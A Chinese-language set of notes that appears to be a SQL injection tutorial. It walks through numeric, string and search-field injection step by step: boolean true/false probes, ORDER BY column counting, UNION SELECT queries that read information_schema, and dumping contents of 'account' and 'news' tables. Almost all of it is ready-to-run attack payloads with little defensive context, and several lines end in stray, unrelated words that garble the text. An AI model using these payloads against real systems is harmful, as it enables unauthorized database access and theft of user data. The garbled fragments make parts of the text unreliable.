and 1=1,and 1=2
order by 语句用于根据指定的列对结果集进行排序sql
order by后能够加列名,也能够加数字(表明第几列)数据库
id = 1 order by 3(数字) //返回正常 id = 1 order by 4(数字) //返回异常 //说明字段长为3
id= -1 union select 1,2,3
id =-1 union select 1,database(),user()
id= -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='account'
id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'
id= -1 union select 1,group_concat(id,'--',title,'--',content),3 from news limit 0,1
id= -1 union select 1,group_concat(Id,'--',rest,'--',own),3 from account limit 0,1
1' or '1'='1 //返回正常 1' or '1'='2 //返回异常
1' order by 3# //返回正常 1' order by 4# //返回异常
//注意#号用途:#起注释做用,会注释掉后面的' 单行注释还可用-- (--后面需加一个空格)测试
//注意后面的SQL查询语句末尾都得加一个#rest
首先判断注入点code
1%' or 1=1# 1%' or 1=2#
下面就和前面数字型步骤同样,带入查询语句便可orm
1%' union select 1,database(),user()# //好比这里查询数据库名和用户